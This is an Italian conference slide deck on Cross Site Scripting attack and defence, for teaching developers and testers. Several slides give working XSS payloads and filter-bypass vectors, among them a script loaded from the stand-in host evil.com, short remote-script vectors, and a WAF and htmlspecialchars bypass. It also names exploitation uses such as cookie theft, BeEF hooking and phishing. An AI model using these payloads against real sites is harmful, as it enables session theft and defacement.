E’ da poco stata pubblicata la nuova versione della OWASP Testing Guide che – nella versione 4 – aggiorna, amplia e completa la versione precedente. Comprende inoltre tre paragrafi specifici per i test dei Cross Site Scripting e altri che comprendono impatti simili. Non è un caso che nella TOP 10 2013 troviamo il Cross Site Scripting al terzo posto. Durante il talk ci focalizzeremo sul Cross Site Scripting e quali sono i vari metodi di attacco e difesa di questa vulneraiblità che – spesso sottovalutata – può portare anche al defacement di un sito web.

1. Hackers vs Developers
Cross Site Scripting
Attacco e Difesa
Simone Onofri
@simoneonofri
mailto:simone@onofri.org
CC BY-ND-NC

2. Agenda
• Introduzione
• Cos’è l’XSS
• Un po’ di storia
• Anatomia di un XSS
• Probing
• Exploiting
• Come difendersi
• Trovare l’ispirazione
• Conclusioni

3. Introduzione

4. Cos’è un XSS?
Le vulnerabilità di tipo XSS si verificano quando dati non validati
vengono restituiti nel corpo della risposta HTTP e vengono interpretati
dal browser. E’ così possibile eseguire codice lato client all’interno del
browser degli utenti.
L’impatto di business è spesso medio/alto*. E’ possibile
compromettere la sessione degli utenti eseguire attacchi di phishing
particolarmente sofisticati e, nei casi peggiori, eseguire un defacement
o comunque prendere il controllo del browser della vittima.

5. XSS nel pratico

6. XSS nel codice
<?php
echo $_GET['title'];
?>

7. Quando nasce l’XSS?
1991 – Nasce il
Web
1996 – Nasce
JavaScript
1999 – David
Ross lavora ad
una «Script
Injection» su
Internet
Explorer
2000 – Il CERT
Microsoft
pubblica un
avviso
battezzando la
vulnerabilità
come «cross-
site-scripting»
(CSS)
2000 – In
ambito
underground si
diffonde
l’«HTML
Injection»
2005 – Il
Worm «Samy»
tramte un XSS
si replica in
circa 20 ore su
più di un
milione di
utenti
2006 – Si
diffondono
port scanner,
keylogger e
script per
rubare
informazioni,
tutto in
Javascript

8. Il problema al tempo (era il 2000)
Un grande numero di web server che genera pagine dinamiche non
verifica la presenza di caratteri speciali o non lo fa correttamente ed è
possibile eseguire codice nel contesto di sicurezza del browser rispetto
il web server vulnerabile.
Fonte: http://web.archive.org/web/20070626182758/http://ha.ckers.org/cross-site-scripting.html

9. L’XSS nella OWASP TOP 10 Web
2003/2004
XSS al 4°
posto
2007
1° posto
2010
2° Posto
2013
3° Posto
Fonte: https://www.owasp.org/

10. Il problema ora (2015)

11. Classificazione di un XSS
•L’XSS (CWE-79) è figlia di:
•Improper Input Validation (CWE-20)
•Improper Neutralization of Special Elements in
Output Used by a Downstream Component
(‘Injection’) (CWE-74)
Fonte: https://cwe.mitre.org/data/definitions/79.html

12. «Dipende tutto da dove prendiamo i
nostri input, da come li elaboriamo e
da come li trasformiamo nei nostri
output»
Il nocciolo delle vulnerabilità relative all’Improper Input Validation

13. Il nocciolo delle vulnerabilità relative all’Improper Input Validation (per dirlo con un
immagine)

14. Improper Input Validation?
URIMethod
Header: Value
<CR> <LF>
Header: Value
<CR> <LF>
Header: Value
<CR> <LF>
HTTP Request
Body
<CR> <LF> <CR> <LF>
<SP> Protocol<SP> CodeProtocol
Header: Value
<CR> <LF>
Header: Value
<CR> <LF>
Header: Value
<CR> <LF>
HTTP Response
Body
<CR> <LF> <CR> <LF>
<SP>
Explanati
on
<SP>

15. All’Interno dell’URI (QueryString)
Request
GET
/cerca.php?q=<script>al
ert(1)</script>
HTTP/1.1
Esempio
<?php
echo ‘Hai cercato:’ -
$_GET[‘q’];
?>

16. All’Interno dell’URI (Path)
Request
GET
/iscriviti.php/’><scrip
t>alert(1)</script><for
m action=‘ HTTP/1.1
Esempio
<?php
echo ‘<form action=’.
$_SERVER['PHP_SELF'].’>
’;
?>

17. All’interno degli Header – User Agent
Request
GET /index.php HTTP/1.1
User-Agent:
<script>alert(1)</scrip
t>
Esempio
• Sistemi di statistiche
• Se stampo a schermo il browser
dell’utente
• Log dell’applicazione o del web
server
• …

18. All’interno degli Header – Cookie
Request
GET /login.php HTTP/1.1
Cookie:
Ut<script>alert(1)</scr
ipt>ente
Esempio
• Quando stampo o manipolo i
cookie sia lato server che lato
client
• Sistemi di autenticazione
• …

19. All’interno del body (POST)
Request
POST/iscriviti.php
HTTP/1.1
[…]
nome=<script>alert(1)</
s>
Esempio
<?php
echo ‘Controlla i dati,
il tuo nome:’ -
$_POST[‘nome’];
?>

20. All’interno del body (POST multipart)
Request
POST/upload.php
HTTP/1.1
[…]
Content-Disposition:
form-data;
name=“<xss>";
filename=“<xss>"
Esempio
• Caricamento file
• Invio di e-mail
• …

21. «Quando riceviamo degli Input,
pensiamo a dove li andiamo a
scrivere»
Il nocciolo delle vulnerabilità relative all’Improper Input Validation (repetita iuvant)

22. Dove possiamo andare a scrivere il nostro
Input?
E-mail (oggetto,
destinatario, corpo
del messaggio)
Database Log
Filesystem (nome
o estensione del
file, contenuto)
Altre applicazioni
Web
API o RSS feed
Altri elementi
visualizzati in un
browser

23. Ci sono tre tipologie di XSS
Tipo 1:
Reflected XSS (non
persistenti)
• Si hanno quando i parametri
vulnerabili sono riflessi
direttamente nella pagina
• Particolarmente utili per
phishing o link malevoli
• Si gestiscono tramite dei
controlli lato server
Tipo 2:
Stored XSS (persistenti)
• Si hanno quando i parametri
vulnerabili sono salvati in
qualche locazione e quindi
riflessi (p.e. da un altro
utente)
• Particolarmente utili per il
furto di sessione, defacement
o anti-forensics
• Si gestiscono tramite controlli
lato server
Tipo 0:
DOM-based (basate sul DOM)
• Si hanno quando alcuni
elementi del DOM vengono
elaborati e stampati senza un
preventivo controllo
• Particolarmente utili in
quanto lato client, esisteva
anche una DOM XSS
«universale» tramite Adobe
Reader.
• Si gestiscono tramite controlli
lato client

24. Un esempio di DOM XSS
http://www.example.com/index.html#<script>alert(
1)</script>
<script>
document.write("<b>Il tuo URL è<b> : " +
document.baseURI);
</script>

25. Cosa dobbiamo controllare per le DOM XSS?
Da un lato (Input/Sources) quegli elementi
DOM potenzialmente accessibili all’utente
p.e.:
• document.URL
• document.documentURI
• location.href
• location.search
• location.*
• window.name
• document.referrer
• …
Dall’altro lato (Output/Sink) quando ho
dei punti dove eseguo quell’Input p.e.:
• document.write
• (element).innerHTML
• (element).src (in certain
elements)
• eval
• setTimout / setInterval
• execScript
• …
Fonte: https://code.google.com/p/domxsswiki/

26. Tornando sulle XSS Stored e le Reflected
• Dobbiamo fare attenzione a dove
viene stampato quanto ricevuto in
input.
• Corpo HTML
• Attributi di elementi HTML
• Cookie
• All’interno di un HREF
• All’interno di un IFRAME
• Codice CSS (anche @style)
• Codice Javascript
• Codice JSON
• Dentro un CDATA
• Codice XML
• Cookie
• Dialetti (p.e. BBcode)

27. Probing di un XSS stored o reflected
• Il concetto fondamentale è, una volta che inviamo un input, dove
viene riflesso o comunque scritto, anche dopo che è stato
memorizzato?
• Il mio input viene riflesso o scritto così come l’ho inserito oppure
viene modificato in qualche modo?
• BONUS: se viene scartato il pacchetto?
• BONUS: se tutto l’input viene cancellato?
• BONUS: se l’input qualche volta viene modificato e qualche volta no, quasi
casualmente?

28. '';!--"<SCs>=&{()}//,
Un probe per ghermirli e nel buio incatenarli, con alcune funzionalità particolari e
alcune note sull’utilizzo

29. Tra il bene e il male
<script>alert(1)</script>
%3Cscript%3Ealert(9)%3C%2Fscript%3E
%253Cscript%253Ealert(1)%253C%252Fscript%253E
&lt;script&gt;alert(1)&lt;/script&gt;

30. Probing di un XSS stored o reflected (cont.)
• Quali sono i caratteri che vengono modificati e come vengono
modificati?
• Tutti vengono codificati
• Solo alcuni vengono codificati
• Vengono codificati diversamente secondo dove sono riflessi o scritti
• Una o più parti del vettore sono cancellate o sostituite con altri caratteri
• Le modifiche eseguite rendono possibile la «rottura» della sintassi?
• Posso tentare delle tecniche per eseguire il bypass delle funzionalità
di verifica?
• Eventualmente mi posso «accontentare» di un HTML Injection anche
se non posso inserire codice Javascript?

31. Alcuni bypass tipici
• Usare un vettore cambiando il case dei caratteri
• Se la funziona fa uppercase usare un vettore che funziona anche se tutto
maiuscolo
• Cambiare la codifica (p.e. http://hackvector.co.uk)
• Se è un filtro a blacklist, provare gli elementi/attributi di HTML5
• Se è un filtro a blacklist che cerca di identificare i tag o gli attributi per
capire cosa filtrare e cosa no, provare ad inserire dei caratteri come r 0
che possono essere ignorati dal browser
• Inserire del codice HTML che, anche se non formalmente corretto, sia
comunque interpretato correttamente dal browser
• Ricordati che esistono i `grave accents`

32. Esempi di alcuni bypass tipici
<sCrIPt>alert(1)</SCrIpT>
<SCRIPT SRC=http://evil.com/x.js></SCRIPT>
<HEAD><META HTTP-EQUIV="CONTENT-TYPE"
CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-
SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

33. Esempi di alcuni bypass tipici (cont.)
¼script¾alert(¢XSS¢)¼/script¾
<a b=c>
<[CDATA[<script>alert(1)</script>]>

34. E per i DOM XSS? Code Review
• Bisogna leggersi il codice lato
client
• Trovare le source
• /(locations*[[.])|([.[]s*["']?s*(
arguments|dialogArguments|inne
rHTML|write(ln)?|open(Dialog)?|s
howModalDialog|cookie|URL|doc
umentURI|baseURI|referrer|nam
e|opener|parent|top|content|sel
f|frames)W)|(localStorage|sessio
nStorage|Database)/
Fonte: https://code.google.com/p/domxsswiki/wiki/FindingDOMXSS

35. E per i DOM XSS? Code Review (cont.)
Trovare i sink
/((src|href|data|locati
on|code|value|action)s
*["']]*s*+?s*=)|((r
eplace|assign|navigate|
getResponseHeader|open(
Dialog)?|showModalDialo
g|eval|evaluate|execCom
mand|execScript|setTime
out|setInterval)s*["'
]]*s*()/
Menzione speciale a jQuery ($)
/after(|.append(|.b
efore(|.html(|.prep
end(|.replaceWith(|
.wrap(|.wrapAll(|$
(|.globalEval(|.add
(|jQUery(|$(|.parse
HTML(/
Fonte: https://code.google.com/p/domxsswiki/wiki/FindingDOMXSS

36. Sfruttare un XSS
• Una volta che abbiamo notato che il nostro input viene riflesso in
qualche modo potenzialmente utile, è importante riuscire ad eseguire
del codice.
• Una semplice PoC è la comparsa di un alert/messaggio sulla pagina
• In alcuni casi può essere utile far vedere che è possibile accedere alla
sessione utente tipicamente mantenuta nel cookie (N.B. richiede che
non sia abilitato l’HTTPOnly nel cookie)

37. Vettori XSS più o meno classici
<script>alert("XSS")</script>
<script>alert(/XSS/)</script>
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>

38. Quando serve un vettore più corto possibile
• Ricordarsi che «il browser è più
intelligente di noi»
• Gli spazi contano
• Non sempre servono le
virgolette
• http:// può essere //
• Utilizzare più punti di inserzione
• Sftuttare il Javascript già
esistente
• Url shortener

39. Vettori particolarmente corti
<svg/onload=alert(1)>
<script src=//v.ht/aa />
<script src=e.js />

40. XSS into the wild – Cookie Stealing
• Possiamo
• Recuperare la sessione dell’utente
• Utilizzare il cookie per accedere
alla sua sessione
• Nota bene
• NON deve essere abilitato
HTTPOnly nel cookie di sessione
• Potrebbero essere presenti filtri su
IP/User-Agent per abilitarci la
sessione

41. XSS into the wild – BrowsEr Exploitation
Framework
• BeEF può essere inserito nel
browser tramite un XSS,
sfruttando la fiducia dell’utene
sul dominio
• Dobbiamo far mantenere il
browser aperto
http://beefproject.com/

42. XSS into the wild – Phishing
• Sempre sfruttando la fiducia
dell’utente verso il dominio, è
possibile inserire un redirect o
un form per rubare le sue
credenziali
• L’impatto è particolarmente
interessante su banche e similari

43. XSS into the wild – Cross Site Request Forgery
• Una combinazione
particolarmente utile è sfruttare
un CSRF sullo stesso sito web.
• Bypass alcune protezioni (p.e.
controllo sul referer)
• Essere particolarmente sicuri
che la CSRF abbia successo

44. XSS into the wild – HTML Injection
• Anche se non è possibile inserire del
codice javascript è comunque
possibile avere effetti interessanti
• L’importante è inserire del codice
HTML ed eventualmente del CSS, utile
anche per fare dei defacement se è
stored in home page
<div style='background:
black; color: lime; width:
100000px; height: 10000px;
position: ablosute; z-
index: 10000; top: 0; left:
0;'>PWN</div>

45. Come difendersi
• Impostare una codifica coerente per tutto il livello applicativo
• Forzare tutti gli input e gli output per le codifiche preimpostate
• Verificare e tipizzare il dato secondo quanto ci si aspetta
• Codificare secondo il contesto l’input prima che diventi output
• In caso di necessità di includere codice HTML fornito come input
• Applicare una funzionalità di whitelist
• Utilizzare un dialetto e un parser sicuro (p.e. attenzione a Markdown)
• Attenzione ai tag/attributi malformati, normalizzare prima i dati
• Applicare le funzionalità accessorie dei browser
• L’utilizzo di blacklist è sconsigliato.

46. Esempio di come difendersi
<?php // html 4.01 with utf-8
header('Content-type: text/html; charset: utf-8');
header('X-Content-Type-Options: nosniff');
header('X-XSS-Protection: 1; mode=block');
header('Content-Security-Policy: reflected-xss block');
header('X-Content-Security-Policy: reflected-xss block');
header('X-WebKit-CSP: reflected-xss block');
$title = mb_convert_encoding($_GET['title'], 'UTF-8');
echo htmlspecialchars($title,ENT_QUOTES |ENT_HTML401,'UTF-8');
}
?>

47. Esempio di bypass di una nota funzione in
PHP
Utilizzo di htmlspecialchars
<input type=text
name=param value=<?php
echo
htmlspecialchars($_GET[
'param']); ?>>
xss
xss_03.php?param=x
onchange=alert(1)

48. Esempio di Bypass di un noto WAF che utilizza
delle blacklist
xss_02.php?param=1;alert(1)
• Not Acceptable!
• An appropriate representation
of the requested resource could
not be found on this server.
xss_02.php?param=1;prompt(1)
<br/>
<script>
var x =
1;prompt(1);
</script>

49. «Security by cut and paste?»
No thanks

50. Su alcuni siti web sono pubblicate delle
classifiche o degli attacchi a siti web noti
• http://www.xssed.com/
• https://www.xssposed.org/

51. Strumenti
• Gli strumenti possono essere
utili per trovare velocemente le
XSS, ma non tutti sono efficaci
• E’ importante capire come
funzionano e come farli
funzionare
• Alcuni strumenti
• Burp Pro
• OWASP ZAP
• Xsser
• XSSme (Firefox plugin)

52. «Never trust the user input,
output too»
Motto per la parameter manipulation

53. Grazie
simone@onofri.org
@simoneonofri
https://onofri.org/
https://linkedin.com/in/simoneonofri